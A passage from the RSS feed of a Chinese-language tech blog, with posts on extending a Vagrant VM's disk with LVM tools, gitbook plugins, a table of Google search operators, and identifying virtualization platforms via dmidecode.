&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo pvresize &lt;span style="color:#e6db74">/dev/s&lt;/span>da2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo lvextend &lt;span style="color:#f92672">-&lt;/span>l &lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">100&lt;/span>&lt;span style="color:#f92672">%&lt;/span>&lt;span style="color:#66d9ef">FREE&lt;/span> &lt;span style="color:#e6db74">/dev/&lt;/span>centos&lt;span style="color:#f92672">/&lt;/span>root
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo xfs_growfs &lt;span style="color:#e6db74">/dev/&lt;/span>centos&lt;span style="color:#f92672">/&lt;/span>root
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">SCRIPT&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>define &lt;span style="color:#e6db74">&amp;#34;node01&amp;#34;&lt;/span> &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>node1&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>node1&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>hostname &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;node01&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>node1&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>network &lt;span style="color:#e6db74">&amp;#34;private_network&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">ip&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;192.168.56.121&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>provision &lt;span style="color:#e6db74">:shell&lt;/span>, &lt;span style="color:#e6db74">:inline&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> common
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr>
&lt;p>&lt;code>vagrant plugin install vagrant-disksize&lt;/code>&lt;/p>
&lt;h5 id="vagrantfile">Vagrantfile&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Fail if the vagrant-disksize plugin is not installed&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">unless&lt;/span> &lt;span style="color:#66d9ef">Vagrant&lt;/span>&lt;span style="color:#f92672">.&lt;/span>has_plugin?(&lt;span style="color:#e6db74">&amp;#34;vagrant-disksize&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">raise&lt;/span> &lt;span style="color:#e6db74">&amp;#39;vagrant-disksize is not installed!&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">Vagrant&lt;/span>&lt;span style="color:#f92672">.&lt;/span>configure(&lt;span style="color:#e6db74">&amp;#34;2&amp;#34;&lt;/span>) &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>config&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>provider &lt;span style="color:#e6db74">&amp;#34;virtualbox&amp;#34;&lt;/span> &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>vb&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vb&lt;span style="color:#f92672">.&lt;/span>name &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;DISKEXTEND&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vb&lt;span style="color:#f92672">.&lt;/span>memory &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">2048&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vb&lt;span style="color:#f92672">.&lt;/span>cpus &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>define &lt;span style="color:#e6db74">:&amp;#34;DISKEXTEND&amp;#34;&lt;/span> &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>t&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>hostname &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;DISKEXTEND&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>box &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;bento/ubuntu-18.04&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Increase the default disk size of the bento image (64GB) to 96GB&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config&lt;span style="color:#f92672">.&lt;/span>disksize&lt;span style="color:#f92672">.&lt;/span>size &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;96GB&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Run a script on provisioning the box to format the file system&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>provision &lt;span style="color:#e6db74">&amp;#34;shell&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">path&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;disk-extend.sh&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="佈署腳本disk-extendsh">佈署腳本：disk-extend.sh&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>echo &lt;span style="color:#e6db74">&amp;#34;&amp;gt; Installing required tools for file system management&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -n &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>command -v yum&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span> &lt;span style="color:#f92672">]&lt;/span>; &lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;&amp;gt;&amp;gt; Detected yum-based Linux&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sudo yum makecache
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sudo yum install -y util-linux
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sudo yum install -y lvm2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sudo yum install -y e2fsprogs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -n &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>command -v apt-get&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span> &lt;span style="color:#f92672">]&lt;/span>; &lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;&amp;gt;&amp;gt; Detected apt-based Linux&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sudo apt-get update -y
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sudo apt-get install -y fdisk
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sudo apt-get install -y lvm2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sudo apt-get install -y e2fsprogs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ROOT_DISK_DEVICE&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;/dev/sda&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ROOT_DISK_DEVICE_PART&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;/dev/sda1&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>LV_PATH&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">`&lt;/span>sudo lvdisplay -c | sed -n 1p | awk -F &lt;span style="color:#e6db74">&amp;#34;:&amp;#34;&lt;/span> &lt;span style="color:#e6db74">&amp;#39;{print $1;}&amp;#39;&lt;/span>&lt;span style="color:#e6db74">`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>FS_PATH&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">`&lt;/span>df / | sed -n 2p | awk &lt;span style="color:#e6db74">&amp;#39;{print $1;}&amp;#39;&lt;/span>&lt;span style="color:#e6db74">`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ROOT_FS_SIZE&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">`&lt;/span>df -h / | sed -n 2p | awk &lt;span style="color:#e6db74">&amp;#39;{print $2;}&amp;#39;&lt;/span>&lt;span style="color:#e6db74">`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;The root file system (/) has a size of &lt;/span>$ROOT_FS_SIZE&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;&amp;gt; Increasing disk size of &lt;/span>$ROOT_DISK_DEVICE&lt;span style="color:#e6db74"> to available maximum&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo fdisk $ROOT_DISK_DEVICE &lt;span style="color:#e6db74">&amp;lt;&amp;lt;EOF
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">d
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">n
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">p
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">1
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">2048
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">no
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">w
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">EOF&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo pvresize $ROOT_DISK_DEVICE_PART
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo lvextend -l +100%FREE $LV_PATH
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo resize2fs -p $FS_PATH
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ROOT_FS_SIZE&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">`&lt;/span>df -h / | sed -n 2p | awk &lt;span style="color:#e6db74">&amp;#39;{print $2;}&amp;#39;&lt;/span>&lt;span style="color:#e6db74">`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;The root file system (/) has a size of &lt;/span>$ROOT_FS_SIZE&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>exit &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>gitbook常用的插件</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200818-1190000019806829/</link><pubDate>Tue, 18 Aug 2020 09:48:41 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200818-1190000019806829/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://segmentfault.com/a/1190000019806829" target="_blank" rel="noopener">gitbook 常用的插件&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Google 搜尋運算子：完整清單（44 個進階運算子）</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200814-google-advanced-search-operators/</link><pubDate>Fri, 14 Aug 2020 14:21:06 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200814-google-advanced-search-operators/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ahrefs.com/blog/google-advanced-search-operators/" target="_blank" rel="noopener">Google Search Operators: The Complete List (44 Advanced Operators)&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="可用">可用&lt;/h4>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>搜尋運算子&lt;/th>
&lt;th>用途&lt;/th>
&lt;th>範例&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>&lt;code>&amp;quot; &amp;quot;&lt;/code>&lt;/td>
&lt;td>搜尋包含特定字詞或片語的結果。&lt;/td>
&lt;td>&lt;code>&amp;quot;steve jobs&amp;quot;&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>OR&lt;/code>&lt;/td>
&lt;td>搜尋與 X 或 Y 相關的結果。&lt;/td>
&lt;td>&lt;code>jobs OR gates&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>|&lt;/code>&lt;/td>
&lt;td>與 &lt;code>OR&lt;/code> 相同。&lt;/td>
&lt;td>&lt;code>jobs | gates&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>AND&lt;/code>&lt;/td>
&lt;td>搜尋與 X 與 Y 相關的結果。&lt;/td>
&lt;td>&lt;code>jobs AND gates&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>-&lt;/code>&lt;/td>
&lt;td>排除包含特定字詞或片語的結果。&lt;/td>
&lt;td>&lt;code>jobs -apple&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>*&lt;/code>&lt;/td>
&lt;td>萬用字元，可匹配任何字詞或片語。&lt;/td>
&lt;td>&lt;code>steve * apple&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>( )&lt;/code>&lt;/td>
&lt;td>將多個搜尋條件分組。&lt;/td>
&lt;td>&lt;code>(ipad OR iphone) apple&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>define:&lt;/code>&lt;/td>
&lt;td>查詢字詞或片語的定義。&lt;/td>
&lt;td>&lt;code>define:entrepreneur&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>cache:&lt;/code>&lt;/td>
&lt;td>查看網頁的最新快取版本。&lt;/td>
&lt;td>&lt;code>cache:apple.com&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>filetype:&lt;/code>&lt;/td>
&lt;td>搜尋特定檔案類型（例如 PDF）。&lt;/td>
&lt;td>&lt;code>apple filetype:pdf&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>ext:&lt;/code>&lt;/td>
&lt;td>與 &lt;code>filetype:&lt;/code> 相同。&lt;/td>
&lt;td>&lt;code>apple ext:pdf&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>site:&lt;/code>&lt;/td>
&lt;td>只搜尋特定網站的結果。&lt;/td>
&lt;td>&lt;code>site:apple.com&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>related:&lt;/code>&lt;/td>
&lt;td>搜尋與指定網域相關的網站。&lt;/td>
&lt;td>&lt;code>related:apple.com&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>intitle:&lt;/code>&lt;/td>
&lt;td>搜尋標題包含特定字詞的頁面。&lt;/td>
&lt;td>&lt;code>intitle:apple&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>allintitle:&lt;/code>&lt;/td>
&lt;td>搜尋標題包含多個字詞的頁面。&lt;/td>
&lt;td>&lt;code>allintitle:apple iphone&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>inurl:&lt;/code>&lt;/td>
&lt;td>搜尋 URL 中包含特定字詞的頁面。&lt;/td>
&lt;td>&lt;code>inurl:apple&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>allinurl:&lt;/code>&lt;/td>
&lt;td>搜尋 URL 中包含多個字詞的頁面。&lt;/td>
&lt;td>&lt;code>allinurl:apple iphone&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>intext:&lt;/code>&lt;/td>
&lt;td>搜尋內容包含特定字詞的頁面。&lt;/td>
&lt;td>&lt;code>intext:apple iphone&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>allintext:&lt;/code>&lt;/td>
&lt;td>搜尋內容包含多個字詞的頁面。&lt;/td>
&lt;td>&lt;code>allintext:apple iphone&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>weather:&lt;/code>&lt;/td>
&lt;td>查詢某個地點的天氣。&lt;/td>
&lt;td>&lt;code>weather:san francisco&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>stocks:&lt;/code>&lt;/td>
&lt;td>查詢股票代碼的股價資訊。&lt;/td>
&lt;td>&lt;code>stocks:aapl&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>map:&lt;/code>&lt;/td>
&lt;td>強制顯示地圖結果。&lt;/td>
&lt;td>&lt;code>map:silicon valley&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>movie:&lt;/code>&lt;/td>
&lt;td>搜尋電影資訊。&lt;/td>
&lt;td>&lt;code>movie:steve jobs&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>in&lt;/code>&lt;/td>
&lt;td>單位換算。&lt;/td>
&lt;td>&lt;code>$329 in GBP&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>source:&lt;/code>&lt;/td>
&lt;td>在 Google 新聞中搜尋特定來源的結果。&lt;/td>
&lt;td>&lt;code>apple source:the_verge&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>before:&lt;/code>&lt;/td>
&lt;td>搜尋特定日期之前的結果。&lt;/td>
&lt;td>&lt;code>apple before:2007-06-29&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>after:&lt;/code>&lt;/td>
&lt;td>搜尋特定日期之後的結果。&lt;/td>
&lt;td>&lt;code>apple after:2007-06-29&lt;/code>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h4 id="不穩定">不穩定&lt;/h4>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>搜尋運算子&lt;/th>
&lt;th>用途&lt;/th>
&lt;th>範例&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>&lt;code>#..#&lt;/code>&lt;/td>
&lt;td>搜尋數字範圍內的結果。&lt;/td>
&lt;td>&lt;code>iphone case $50..$60&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>inanchor:&lt;/code>&lt;/td>
&lt;td>搜尋反向連結錨點文字包含特定字詞的頁面。&lt;/td>
&lt;td>&lt;code>inanchor:apple&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>allinanchor:&lt;/code>&lt;/td>
&lt;td>搜尋反向連結錨點文字包含多個字詞的頁面。&lt;/td>
&lt;td>&lt;code>allinanchor:apple iphone&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>AROUND(X)&lt;/code>&lt;/td>
&lt;td>搜尋兩個字詞或片語在彼此 X 個字以內的頁面。&lt;/td>
&lt;td>&lt;code>apple AROUND(4) iphone&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>loc:&lt;/code>&lt;/td>
&lt;td>搜尋指定地區的結果。&lt;/td>
&lt;td>&lt;code>loc:&amp;quot;san francisco&amp;quot; apple&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>location:&lt;/code>&lt;/td>
&lt;td>在 Google 新聞中搜尋特定地點的新聞。&lt;/td>
&lt;td>&lt;code>location:&amp;quot;san francisco&amp;quot; apple&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>daterange:&lt;/code>&lt;/td>
&lt;td>搜尋特定日期範圍的結果。&lt;/td>
&lt;td>&lt;code>daterange:11278-13278&lt;/code>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h4 id="不可用google-已正式移除">不可用（Google 已正式移除）&lt;/h4>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>搜尋運算子&lt;/th>
&lt;th>用途&lt;/th>
&lt;th>範例&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>&lt;code>~&lt;/code>&lt;/td>
&lt;td>包含同義詞（2013 已移除）。&lt;/td>
&lt;td>&lt;code>~apple&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>+&lt;/code>&lt;/td>
&lt;td>搜尋包含精確字詞或片語的結果（2011 已移除）。&lt;/td>
&lt;td>&lt;code>jobs +apple&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>inpostauthor:&lt;/code>&lt;/td>
&lt;td>在 Google Blog Search 中搜尋特定作者的文章（已停止）。&lt;/td>
&lt;td>&lt;code>inpostauthor:&amp;quot;steve jobs&amp;quot;&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>allinpostauthor:&lt;/code>&lt;/td>
&lt;td>與 &lt;code>inpostauthor:&lt;/code> 相同，但不需要加引號。&lt;/td>
&lt;td>&lt;code>allinpostauthor:steve jobs&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>inposttitle:&lt;/code>&lt;/td>
&lt;td>在已停用的 Google Blog Search 中搜尋標題包含特定字詞的文章。&lt;/td>
&lt;td>&lt;code>inposttitle:apple iphone&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>link:&lt;/code>&lt;/td>
&lt;td>搜尋連到特定網域或 URL 的頁面（2017 已移除）。&lt;/td>
&lt;td>&lt;code>link:apple.com&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>info:&lt;/code>&lt;/td>
&lt;td>查詢特定頁面或網站的資訊（2017 已移除）。&lt;/td>
&lt;td>&lt;code>info:apple.com&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>id:&lt;/code>&lt;/td>
&lt;td>與 &lt;code>info:&lt;/code> 相同。&lt;/td>
&lt;td>&lt;code>id:apple.com&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>phonebook:&lt;/code>&lt;/td>
&lt;td>搜尋某人的電話號碼（2010 已移除）。&lt;/td>
&lt;td>&lt;code>phonebook:tim cook&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>#&lt;/code>&lt;/td>
&lt;td>在 Google+ 上搜尋主題標籤（2019 已移除）。&lt;/td>
&lt;td>&lt;code>#apple&lt;/code>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table></description></item><item><title>确定虚拟化技术的简便方法</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200729-easy-way-to-determine-virtualization-technology/</link><pubDate>Wed, 29 Jul 2020 21:11:45 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200729-easy-way-to-determine-virtualization-technology/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://qastack.cn/unix/89714/easy-way-to-determine-virtualization-technology" target="_blank" rel="noopener">确定虚拟化技术的简便方法&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="dmidecode--s-system-product-name">&lt;code>dmidecode -s system-product-name&lt;/code>&lt;/h3>
&lt;p>虚拟化技术&lt;/p>
&lt;h4 id="vmware-工作站">VMware 工作站&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>root@router:~# dmidecode -s system-product-name
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>VMware Virtual Platform
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="虚拟盒子">虚拟盒子&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>root@router:~# dmidecode -s system-product-name
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>VirtualBox
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="qemu-与-kvm">Qemu 与 KVM&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>root@router:~# dmidecode -s system-product-name
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>KVM
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Qemu（模拟）&lt;/p>
&lt;h4>&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>root@router:~# dmidecode -s system-product-name
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Bochs
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="microsoft-虚拟-pc">Microsoft 虚拟 PC&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>root@router:~# dmidecode | egrep -i &lt;span style="color:#e6db74">&amp;#39;manufacturer|product&amp;#39;&lt;/span>
